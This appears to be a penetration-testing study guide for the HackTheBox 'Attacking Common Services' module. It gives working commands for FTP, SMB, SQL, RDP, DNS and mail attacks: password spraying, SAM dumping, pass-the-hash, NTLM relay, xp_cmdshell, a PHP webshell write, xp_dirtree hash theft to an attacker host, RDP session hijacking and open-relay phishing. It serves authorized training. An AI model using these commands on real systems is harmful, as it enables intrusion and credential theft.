← Condensed cheat sheet · Workflow dashboard · Field manual · Applications guide →
Attacking Common Services — Full Guide fas:ClipboardList
[!dashboard] What this is The long-form companion to the Attacking Common Services cheat sheet. The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains why each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you’re learning the material or writing it up. For the broader cross-module field reference (NFS, Kerberos, WinRM, SNMP, SSH, chaining, cleanup) see the Network Service Attack Manual.
Common services are the plumbing every network runs on: a file share, a database, a mail server, a remote-desktop endpoint, a DNS resolver. They are rarely glamorous and almost never the thing a defender hardens first, which is exactly why they land footholds. A company patches its browsers and hardens its domain controllers, then leaves an FTP root that accepts anonymous, an MSSQL instance still running xp_cmdshell as a service account, or an SMB server that answers a null session and hands over its share list for free.
Every service in this module answers to the same loop. Learn the loop rather than memorising six unrelated exploits:
[!danger]+ Authorized targets only
fas:TriangleExclamationEverything here affects availability and integrity of real services. Password spraying can lock accounts, NTLM relaying authenticates as a real user, and the RCE CVEs are the sharp end — BlueKeep can BSOD the host and OpenSMTPD RCE runs as root. Run this only on engagements or labs where you hold explicit written permission, spray with the lockout policy in front of you, get sign-off before firing a memory-corruption exploit at anything a client cares about, and treat every recovered credential as sensitive evidence rather than something to paste into permanent notes.
1 · Interacting with common services fas:Terminal
Before attacking a service you have to be fluent in using it normally, from both a Windows and a Linux vantage point. Most “attacks” in this module are abuse of the same legitimate interaction patterns shown here — recognising the normal shape of SMB, SQL, and mail traffic is what lets you spot the abnormal (and therefore interesting) later.
[!tip] Two shells on Windows
cmd.exeruns native Windows commands only. PowerShell runs those and cmdlets, and gives you a real scripting language (Get-ChildItem,Select-String,New-PSDrive,PSCredentialobjects). Default to PowerShell for anything past a one-offdir.
SMB from Windows. Browse over a UNC path with no mapping, or map a drive with explicit creds and then treat it like local storage:
C:\htb> dir \\192.168.220.129\Finance\
C:\htb> net use n: \\192.168.220.129\Finance /user:plaintext Password123
C:\htb> dir n: /a-d /s /b | find /c ":\" :: count files — gauge share size before searching
C:\htb> dir n:\*cred* /s /b :: filename search
C:\htb> findstr /s /i cred n:\*.* :: content search — leaks different things
SMB from PowerShell. Same idea, but composes into the pipeline. Build a PSCredential for non-interactive auth:
PS C:\htb> $password = ConvertTo-SecureString 'Password123' -AsPlainText -Force
PS C:\htb> $cred = New-Object System.Management.Automation.PSCredential 'plaintext', $password
PS C:\htb> New-PSDrive -Name N -Root "\\192.168.220.129\Finance" -PSProvider FileSystem -Credential $cred
PS N:\> Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List # PowerShell's grep
SMB from Linux. Mount it and it’s just a directory — no SMB-specific tooling needed afterwards. Prefer a credentials file so the password stays out of shell history and ps:
sudo apt install cifs-utils
sudo mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/creds
# creds file: username=plaintext / password=Password123 / domain=.
grep -rn /mnt/Finance/ -ie cred
SQL clients. Native CLIs plus one GUI worth keeping installed:
sqsh -S 10.129.20.13 -U username -P Password123 # MSSQL from Linux (plaintext SQL auth only)
mysql -u username -pPassword123 -h 10.129.20.13 # MySQL from Linux
mssqlclient.py -p 1433 julio@10.129.203.7 # Impacket — supports NTLM hash / Kerberos
dbeaver & # free, cross-platform, multi-engine GUI
C:\htb> sqlcmd -S 10.129.20.13 -U username -P Password123 :: MSSQL from Windows
[!info] Command breakdown
sqsh/sqlcmdare the native MSSQL CLIs;mysqlis MySQL’s.mssqlclient.py(Impacket) is the one to reach for when you hold an NTLM hash rather than a plaintext password —sqsh/sqlcmdcan’t do hash or Kerberos auth.dbeaverspeaks MySQL, MSSQL, PostgreSQL and more from one UI — the practical cross-platform substitute for SSMS (Windows-only) or MySQL Workbench.
Mail clients. Once you hold valid mailbox creds, a real client beats raw protocol commands for reading a mailbox:
sudo apt-get install evolution
export WEBKIT_FORCE_SANDBOX=0 && evolution # if it dies with a bwrap sandbox error
[!tip] Current tooling For SMB enumeration prefer
enum4linux-ng(maintained Python rewrite) over the effectively-unmaintained Perlenum4linux. Impacket is under active Fortra maintenance and is the de-facto standard for scripted SMB/MSSQL interaction.
2 · The concept of attacks ris:FileList
Rather than memorising per-protocol exploits in isolation, decompose any vulnerability into four categories. The same cycle reappears for CoreFTP, SMBGhost, BlueKeep, subdomain takeover, and the OpenSMTPD RCE — once you can place a technique in this frame, spotting the analogue on a service you’ve never touched gets much faster.
[!info] The four categories
- Source — where the triggering input originates: already-executed code, a library, static config, an API, or direct user input. Protocol is irrelevant here; an HTTP header injection and a buffer overflow both reduce to “code” as the source.
- Process — how program logic handles that input. Most real vulnerabilities live here, because it’s where a developer’s assumptions about input turn out to be wrong.
- Privileges — the rights the process runs with. This sets the blast radius, not the exploitability: a simple bug in a process running as SYSTEM/root is disproportionately dangerous.
- Destination — where the result lands: a local file/service, or another host over the network. The cycle is deliberately linear; a full chain is usually an initiation cycle (get a foothold / leak something) plus a trigger cycle (turn it into RCE).
Worked example — Log4j (CVE-2021-44228). A crafted JNDI string in the HTTP User-Agent header (Source) is misparsed by the logging function instead of being logged as text (Process); logging typically runs with elevated rights (Privileges); the JNDI lookup reaches out to attacker infrastructure hosting a malicious Java class (Destination). A second cycle then pulls that class back (Source), executes it (Process), inherits the same rights (Privileges), and opens a shell back to the attacker (Destination). Two four-step cycles chained — initiation, then trigger — which is the shape of nearly every exploit chain later in this module.
3 · Service misconfigurations fas:Terminal
Misconfigurations, not zero-days, are the everyday bread and butter of internal tests. Four categories recur across almost every service here:
- Weak / default authentication —
admin:admin,admin:password, blank passwords left after install, or a weak password set “to change later.” - Anonymous authentication — access with no credentials at all. Common on FTP and SMB, occasionally on SQL.
- Misconfigured access rights — accounts with permissions beyond their role (an upload-only FTP account that can also read every document). Subtle, because the credentials are “correct” but the account is over-privileged.
- Unnecessary defaults — sample files, admin/debug interfaces, verbose errors left enabled because they ship on by default.
[!tip] The order to test in After a banner grab, check default credentials before anything sophisticated — cheap to try, disproportionately effective. If defaults fail, run the common weak combos (
admin:<blank>,root:12345678,administrator:Password) before you reach for a full spray, and a spray before brute force.
OWASP’s A05:2021 – Security Misconfiguration doubles as an offensive checklist and ready-made remediation language for the report: disable unneeded admin interfaces, turn off debug/stack traces in production, change default creds immediately, block directory listing and info disclosure, scan on a schedule, automate identical hardening across environments (different creds per environment), and strip unused features/sample apps.
4 · Finding sensitive information ris:FileList
Attacking common services is detective work: a single, apparently insignificant thing found on one service is frequently the key to a completely different one. The canonical worked chain from the module makes the point — an empty file is the whole foothold:
The operationally useful takeaway is the sequencing: try anonymous access broadly across every discovered service first (cheap, fast, non-destructive), then use anything found — even an empty file’s name — as a candidate username or password against every other service, before falling back to brute force or exploitation. Searching any mailbox you get into for the literal string password is a surprisingly high-yield move. Tag credential candidates somewhere you can cross-reference them (Obsidian, Ghostwriter, Dradis) so a pivot doesn’t get lost in terminal scrollback.
5 · Attacking FTP fas:Terminal — TCP/21
FTP is a plaintext file-transfer protocol. Two misconfigurations dominate (anonymous auth, over-permissive access rights), and a modern CVE shows even a maintained product can carry a trivial arbitrary-write bug.
Enumerate. -sC runs ftp-anon, which both tests anonymous login and lists directory contents inline:
sudo nmap -sC -sV -p 21 192.168.2.142
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# | drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable]
# 221/tcp banner e.g. vsFTPd 2.3.4 → note the exact version for CVE lookup
The [NSE: writeable] tag flags a directory the anonymous session can write to — a direct route to webshell upload if that same FTP root is served over HTTP elsewhere on the host.
Anonymous login and file ops. Try anonymous with a blank/arbitrary password even without a prior ftp-anon hit — the script occasionally misses custom configs:
ftp 192.168.2.142 # Name: anonymous · Password: <blank>
ftp> ls # navigate like Linux: ls / cd
ftp> get flag.txt # get/mget download · put/mput upload · help lists client commands
Brute force / spray. -u a single known user, -U a list; spraying (one password, many users) is the safer default where lockout thresholds are unknown:
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
# ACCOUNT FOUND: [ftp] User: fiona Password: family [SUCCESS]
hydra -L users.txt -P rockyou.txt ftp://10.129.203.7 # often faster (better connection reuse)
FTP bounce. The PORT command can make an internet-facing FTP server proxy a scan to a third, internal host you can’t reach directly — turning it into a blind port scanner. Modern daemons block this by default, so a positive result is itself a reportable misconfiguration:
nmap -Pn -v -n -p80 -b anonymous:password@172.17.0.2 172.17.0.2
# Login credentials accepted by FTP server! → 80/tcp open http (scanned via the proxy)
CoreFTP arbitrary file write (CVE-2022-22836). The HTTP PUT handler fails to normalise ../, so an authenticated curl writes a file anywhere the service account can:
curl -k -X PUT -H "Host: <IP>" --basic -u <user>:<pass> \
--data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
# C:\> type C:\whoops → PoC.
Mapped to the model: user-controlled path + escape chars (Source) → the traversal check validated only the starting directory, not the resolved path (Process/Privileges) → arbitrary file on disk (Destination). --path-as-is stops curl from collapsing the ../ before it’s sent.
6 · Attacking SMB fas:Terminal — TCP/445, 139
SMB (Server Message Block) is the largest attack surface in the module: file/printer/named-pipe sharing over TCP/445 (or 139 with legacy NetBIOS), with Samba as the Linux implementation. The path runs from unauthenticated enumeration all the way to a SYSTEM shell.
Enumerate. -sV -sC reveal the implementation, version, NetBIOS name, and — critically — whether message signing is enforced:
sudo nmap 10.129.14.128 -sV -sC -p139,445
# 445/tcp open netbios-ssn Samba smbd 4.6.2 (Samba ⇒ Linux target)
# smb2-security-mode: Message signing enabled but not required ← relaying is possible
Signing not required is a prerequisite for the NTLM relay in step 8 — always note it during initial enumeration.
Null session share / RPC enumeration. A null session is an SMB connection with no username or password; if it works, treat it as equivalent to low-priv creds for enumeration:
smbclient -N -L //10.129.14.128 # list shares (ADMIN$, C$, custom shares, IPC$)
smbmap -H 10.129.14.128 # same, but with per-share R/W permission columns
smbmap -H 10.129.14.128 --download "notes\note.txt" # transfer without an interactive session
rpcclient -U'%' 10.10.110.17 # null session RPC shell
rpcclient $> enumdomusers # user:[mhope] rid:[0x641] ...
./enum4linux-ng.py 10.10.11.45 -A -C # one-pass domain/users/groups/shares/policy
Spray. One password across a user list avoids the lockout risk of many-passwords-per-account; --local-auth targets non-domain accounts; (Pwn3d!) marks confirmed local admin:
nxc smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth
# [+] WIN7BOX\jurena:Company01! (Pwn3d!)
# --continue-on-success keeps going past the first hit
[!tip] CrackMapExec → NetExec NetExec (
nxc) is the actively developed successor to CrackMapExec — same syntax family, more protocol modules. Everycrackmapexec smb ...in older writeups maps 1:1 tonxc smb .... Examples below usenxc; the classiccrackmapexecname still works where CME is installed.
Remote code execution. With admin-equivalent creds, three Impacket methods, each landing a SYSTEM shell by a different mechanism:
impacket-psexec administrator:'Password123!'@10.10.110.17 # uploads a service to ADMIN$, runs via SCM
# C:\Windows\system32> whoami → nt authority\system
nxc smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
impacket-smbexec avoids RemComSvc and works without a writable share (it stands up a local SMB server for output); impacket-atexec runs through Task Scheduler instead of the SCM — useful when service creation is blocked or heavily logged.
Dump SAM hashes. Sweep a subnet for who’s logged on, then dump the local NTLM hashes:
nxc smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users # find where a DA is sitting
nxc smb 10.10.110.17 -u administrator -p 'Password123!' --sam
# Administrator:500:aad3b435...:2b576acbe6bcfda7294d6bd18041b8fe:::
Pass-the-Hash. Windows challenge-response only needs the hash, never the plaintext — so a dumped or captured NTLM hash is immediately usable for lateral movement. PtH is a property of NTLM auth, not a tool feature; it works identically with Impacket, smbmap, and nxc:
nxc smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
# [+] WIN7BOX\Administrator:2B57... (Pwn3d!)
Forced authentication + relay (Responder / ntlmrelayx). Responder answers LLMNR/NBT-NS/mDNS broadcasts (which fire whenever a client mistypes a hostname or DNS fails) as the server the victim wanted, capturing a NetNTLMv2 hash. Crack it, or relay it live:
sudo responder -I ens33
# [SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:...
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt # 5600 = NetNTLMv2
# If cracking fails, relay instead. Turn off Responder's own SMB server first (SMB = Off):
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
# add -c '<cmd>' to run a command on the relay target instead of the default SAM dump
Relaying only works where SMB signing is not enforced — the check you made during enumeration. This is the same Source→Process→Privileges→Destination cycle as the SQL xp_dirtree hash steal in the next section, just triggered by a broadcast name-resolution mistake instead of a SQL stored procedure.
SMBGhost (CVE-2020-0796) — concept only. An integer overflow in SMBv3.1.1 compression negotiation on Windows 10 1903/1909: an oversized compressed message overflows a size-check integer, writing past the buffer and overwriting adjacent instructions, which the attacker shapes to redirect execution. Kernel-level exploit development, outside this module’s scope, but a clean example of the model at the memory-corruption layer.
7 · Attacking SQL databases fas:Terminal — MSSQL 1433 · MySQL 3306
Databases store credentials, PII, and business data, and often run with excessive service-account privileges — high value on both counts. MSSQL and MySQL both speak SQL/T-SQL once you’re in.
[!info] MSSQL auth modes Windows auth (default) ties SQL Server to Windows/AD — already-authenticated users need no further creds. Mixed mode additionally allows SQL-native username/password accounts. Specifying a domain/hostname on connect selects Windows auth; omitting it assumes SQL auth. In
sqsh, a leading.\(.\\julio) explicitly forces a local SQL account.
Enumerate. MSSQL defaults to TCP/1433 (a “hidden” instance can sit on 2433); MySQL to TCP/3306. Nmap’s ms-sql-* scripts leak version, hostname, and domain with no auth:
nmap -Pn -sV -sC -p1433,3306 10.10.10.125
# 1433/tcp ms-sql-s Microsoft SQL Server 2017 ... DNS_Computer_Name: mssql-test.HTB.LOCAL
Connect and enumerate data. Every batch in sqsh/sqlcmd needs GO on its own line:
-- MySQL
SHOW DATABASES; USE htbusers; SHOW TABLES; SELECT * FROM users;
-- MSSQL (sqsh/sqlcmd)
SELECT name FROM master.dbo.sysdatabases
GO
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO
Ignore the system DBs when hunting data — MySQL mysql/information_schema/performance_schema/sys, MSSQL master/msdb/model/resource/tempdb — they fingerprint the engine but hold no company data.
Command execution — xp_cmdshell (MSSQL). An extended stored procedure that spawns a Windows process as the SQL service account. Disabled by default, re-enabled trivially with sysadmin:
xp_cmdshell 'whoami'
GO
-- no service\mssql$sqlexpress
-- if disabled:
EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
GO
It runs synchronously — control returns only when the command finishes, worth remembering for long-running payloads. MySQL has no direct equivalent but supports UDFs that can run C/C++; rare in production, worth checking.
Read / write local files. Note the asymmetric MSSQL defaults — reads work out of the box, writes need Ole Automation enabled first:
-- MySQL (needs FILE priv + empty secure_file_priv; check SHOW VARIABLES LIKE 'secure_file_priv')
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
SELECT LOAD_FILE("/etc/passwd");
-- MSSQL read (no special config)
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS x
GO
Writing a PHP one-liner straight into the web root turns a file-write primitive into RCE if the box also serves web content.
Privilege escalation via IMPERSONATE. A self-contained privesc inside SQL Server — worth checking on every MSSQL foothold, even without OS access. Find who you can impersonate, then become them (no password needed):
SELECT DISTINCT b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO -- name: sa
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin') -- 1 ⇒ full sysadmin; xp_cmdshell now available
GO -- REVERT switches back
Linked-server pivoting. Pass-through T-SQL to a second SQL instance; if the linked server’s stored creds have sysadmin, you own that box too. Double single quotes inside the query to escape:
SELECT srvname, isremote FROM sysservers
GO
EXECUTE('select @@servername, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO
Steal the service-account hash (xp_dirtree / xp_subdirs). These procedures reach a path over SMB — point them at your box and the MSSQL service account authenticates to you:
sudo impacket-smbserver share ./ -smb2support # or: sudo responder -I tun0
EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO
-- [SMB] NTLMv2-SSP Hash : SRVMSSQL\demouser::WIN7BOX:5e3ab1c4380b94a1:...
xp_subdirs sometimes errors with access-denied even though the authentication (and hash capture) still completes — a stored-procedure error is not proof the technique failed. Same forced-auth cycle as SMB Responder, triggered from inside SQL.
8 · Attacking RDP fas:Terminal — TCP/3389
RDP is Microsoft’s graphical remote-admin protocol, heavily used by sysadmins and MSPs — a prime target. Account lockout policies apply, so spray, don’t brute force.
Enumerate. ms-wbt-server confirms RDP; rdp-ntlm-info/rdp-enum-encryption add domain/cipher fingerprinting:
nmap -Pn -p3389 --script rdp-ntlm-info 192.168.2.143
# 3389/tcp open ms-wbt-server
Spray. Crowbar is purpose-built for RDP/VNC; Hydra’s rdp module is flagged experimental upstream — reduce parallelism and add wait time:
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp -t 1 -W 3
Log in. xfreerdp is the maintained client of choice (dynamic resolution, clipboard, drive redirection, Pass-the-Hash) over the stagnant rdesktop:
xfreerdp /v:<target> /u:<user> /p:'<password>' # accept the self-signed cert warning
Session hijacking (local admin → SYSTEM → hijack). tscon.exe reconnects another user’s session by ID with no password — but only from a SYSTEM context. Services run as Local System, so create one whose binpath is the tscon call:
C:\htb> query user
# juurena rdp-tcp#13 1 Active · lewen rdp-tcp#14 2 Active
C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
C:\htb> net start sessionhijack :: reconnects you to lewen's (id 2) session
Confirmed broken on Server 2019+ — Microsoft restricted the technique; check the target build first.
Pass-the-Hash via Restricted Admin Mode. Disabled by default; enabling it needs prior local admin. Then xfreerdp /pth: authenticates with the raw NTLM hash — the RDP equivalent of SMB PtH:
C:\htb> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
xfreerdp /v:192.168.220.152 /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9
BlueKeep (CVE-2019-0708) — concept only. Attacker-manipulated data during the RDP virtual-channel settings exchange (Source) triggers a Use-After-Free in a kernel function running as LocalSystem (Process/Privileges), and the trigger cycle writes and executes attacker instructions in the freed memory for network RCE (Destination).
[!warning] Stability risk BlueKeep can crash the target with a BSOD and has caused real instability in the wild. For labs, Metasploit’s
rdp_scanneraux andcve_2019_0708_bluekeep_rcemodules are the vetted route. Against anything a client cares about, get explicit sign-off before firing.
9 · Attacking DNS fas:Terminal — UDP/53, TCP/53
DNS underpins nearly every network application, which makes it a consistently high-value surface. Three distinct vectors here have very different reach: zone transfer and subdomain takeover are remotely exploitable; DNS spoofing needs local L2 adjacency.
Zone transfer (AXFR). A zone transfer copies a chunk of the DNS database for replication and requires no auth by protocol design. A server that permits AXFR from any client leaks its entire internal namespace in one request:
nmap -p53 -Pn -sV -sC 10.10.110.213 # 53/tcp open domain ISC BIND 9.11.3
dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
# admin.inlanefreight.htb. IN A 10.129.110.21
# hr.inlanefreight.htb. IN A 10.129.110.25 ← internal hostnames + IP scheme, unauthenticated
fierce --domain zonetransfer.me # automates AXFR across every discovered NS
Subdomain enumeration → takeover. A CNAME pointing at a deleted/expired third-party resource (an S3 bucket, a CDN endpoint) leaves the subdomain “dangling.” Claim that resource and you control what the trusted subdomain serves — without ever touching the target’s own DNS:
./subfinder -d inlanefreight.com -v # passive, OSINT-sourced — fast and quiet
host support.inlanefreight.com
# is an alias for inlanefreight.s3.amazonaws.com → visiting returns AWS "NoSuchBucket"
# register an S3 bucket named 'inlanefreight' ⇒ takeover
Check every third-party-hosted CNAME against can-i-take-over-xyz (catalogues which providers are currently vulnerable and how to claim each), or automate detection with Nuclei’s subdomain-takeover templates. Run passive enumeration (Subfinder) before active brute force (Subbrute/Sublist3r).
Local DNS spoofing (Ettercap / Bettercap). Strictly L2-adjacent, unlike the two vectors above. Poison the answer, then ARP-spoof yourself into the path:
cat /etc/ettercap/etter.dns
# inlanefreight.com A 192.168.225.110
# *.inlanefreight.com A 192.168.225.110
# Ettercap: Hosts > Scan for Hosts → set victim=Target1, gateway=Target2 → Plugins > dns_spoof
Bettercap is the maintained, more scriptable successor to Ettercap and worth defaulting to for MITM/spoofing work.
10 · Attacking email services fas:Terminal — SMTP 25/465/587 · POP3 110/995 · IMAP 143/993
Email needs at least two protocols — SMTP for sending, POP3/IMAP for retrieval — and increasingly a cloud provider in front of both. The MX record decides the entire approach that follows.
[!info] MX reconnaissance first The MX record identifies who handles the domain’s mail — Microsoft 365 (
*.mail.protection.outlook.com), G-Suite (aspmx.l.google.com), Zoho (mx.zoho.com), or a self-hosted server. Each needs a completely different enumeration approach, so resolve it before anything else.
MX + port enumeration:
host -t MX hackthebox.eu # aspmx.l.google.com → cloud (G-Suite)
dig mx inlanefreight.com | grep MX | grep -v ';'
host -t A mail1.inlanefreight.htb. # resolve the mail host, then scan it
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128
# 25/tcp smtp Postfix smtpd · smtp-commands: ... VRFY ... ← VRFY present ⇒ user enum worth trying
Manual SMTP username enumeration. Three independent primitives — disabling one (commonly VRFY) doesn’t close the others, so test all three:
telnet 10.10.110.20 25
VRFY root # 252 = exists · 550 = unknown
EXPN support-team # expands a distribution list into member addresses (bigger leak)
MAIL FROM:john@inlanefreight.htb
RCPT TO:john # 250 = recipient ok · 550 = user unknown (hard to disable)
POP3 user enumeration + automation:
telnet 10.10.110.20 110
USER john # +OK = valid · -ERR = invalid
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
# john@inlanefreight.htb exists
Office 365 enumeration and spraying. Generic tools are blocked by Microsoft’s throttling — use a purpose-built tool that respects lockout, and keep it current as MS changes endpoint behaviour:
python3 o365spray.py --validate --domain msplaintext.xyz # is this domain even O365?
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz # valid accounts, no password needed
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
# [VALID] julio@msplaintext.xyz:March2022!
Password attacks against self-hosted mail (Hydra). -L users -p 'password' sprays; swap the module name for smtp/imap:
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
# [110][pop3] login: john password: Company01!
Open relay abuse. A relay that forwards mail from arbitrary sources without auth lets you send as any internal address — a phishing-as-trusted-sender capability, not just info disclosure:
nmap -p25 -Pn --script smtp-open-relay 10.10.11.213 # Server is an open relay (14/16 tests)
swaks --from admin@company.com --to john@company.com \
--header 'Subject: Company Notification' \
--body 'Please complete this survey: http://phish/' --server 10.10.11.213
OpenSMTPD RCE (CVE-2020-7247) — concept only. Unauthenticated input during SMTP session composition (Source) is misparsed by OpenSMTPD’s sender-field handler, which treats a ; as a delimiter into shell execution rather than terminating the address (Process). Because OpenSMTPD binds a standardised port it runs as root (Privileges), so the smuggled 64-char-limited command executes as root and shells back out (Destination) — a clean reminder that a simple parsing bug in a root-owned, standard-port daemon is full unauthenticated RCE.
11 · Skills assessment fas:Terminal
The module closes with three Inlanefreight servers — Easy, Medium, Hard — each hiding an HTB{...} flag and requiring the whole module’s toolkit against a target with no hints beyond a short business description. None of the three needs a novel technique; the assessment is proof the per-service checklists and the Concept-of-Attacks model generalise.
[!info] Scenario briefs (read them like a scoping doc)
- Easy — “manages emails, customers, and their files” → email + file share (SMB/FTP) enumeration first.
- Medium — an internal
inlanefreight.htbhost that “stores emails and files… used relatively rarely… only for testing” → a probably-under-hardened box; prioritise default/test credentials.- Hard — an internal file/working-material server that also runs “a database… the purpose of which we do not know” → file-share enumeration chained into an unknown SQL database via credential reuse.
Methodology for all three — the brief itself is reconnaissance:
sudo nmap -p- -sV -sC -T4 <TARGET_IP> -oN full_scan.txt
-p-scans all 65535 ports, not the default top-1000 — non-negotiable on “internal / rarely used” hosts that frequently run services on non-standard ports.- Then work each open port through its section above, anonymous/null access first (it’s free), then default/weak creds, then known misconfigs, then version CVEs.
| Port | Apply |
|---|---|
| 21 (FTP) | §5 — anonymous login, brute force, CVEs |
| 139/445 (SMB) | §6 — null session, smbclient -L, smbmap, spray |
| 1433/3306 (SQL) | §7 — default/weak creds, xp_cmdshell, file r/w |
| 3389 (RDP) | §8 — spray, PtH if a hash is available |
| 53 (DNS) | §9 — zone transfer, subdomain enumeration |
| 25/110/143 (Mail) | §10 — user enumeration, open relay, spray |
The connective tissue is credential reuse. One confirmed credential set is worth testing against every discovered service immediately — nxc/crackmapexec share the same -u/-p syntax across smb, mssql, ftp, ssh, which is exactly what the Hard scenario (file server → unknown database) is built to test.
Cross-service chaining — the whole point fas:Lightbulb
Individually, none of these services is a “vulnerability.” Their value is how they chain:
- Anonymous/null first, everywhere. FTP
ftp-anon, SMB-N, mailboxUSERprobes — cheap, fast, non-destructive, and frequently the entire foothold. - Everything is a candidate credential. An empty filename, a config value, a mailbox string, a connection string in a binary → test it as a username and a password against every other service.
- Misconfig before CVE. Default creds, anonymous auth, and exposed management interfaces land more boxes than memory-corruption bugs. Check them first.
- Hashes are as good as passwords. A dumped SAM hash or a Responder-captured NetNTLMv2 is immediately actionable via Pass-the-Hash or relay — cracking is a bonus, not a requirement.
- Signing and lockout are the two flags to note during enumeration — SMB
smb2-security-modedecides whether relay is on the table; the account lockout policy decides how aggressively you can spray.
References & sources fas:BookOpen
Distilled from the HackTheBox Academy Attacking Common Services module (CPTS path, module 11) and field-tested tooling notes.
- OWASP Top 10 · A05:2021 Security Misconfiguration
- CVE-2022-22836 · CoreFTP arbitrary file write
- CVE-2020-0796 · SMBGhost
- CVE-2019-0708 · BlueKeep
- CVE-2020-7247 · OpenSMTPD RCE
- CVE-2021-44228 · Log4Shell
- can-i-take-over-xyz · subdomain takeover reference
- Microsoft · xp_cmdshell (Transact-SQL)
- NetExec (nxc) · documentation
- Impacket · Fortra/impacket
[!navigation] Keep going Condensed card: Attacking Common Services cheat sheet · Field manual: Network Service Attack Manual · Applications: Attacking Common Applications guide · Credentials: Password Attacks & Credential Hunting · Dashboard: CPTS Workflow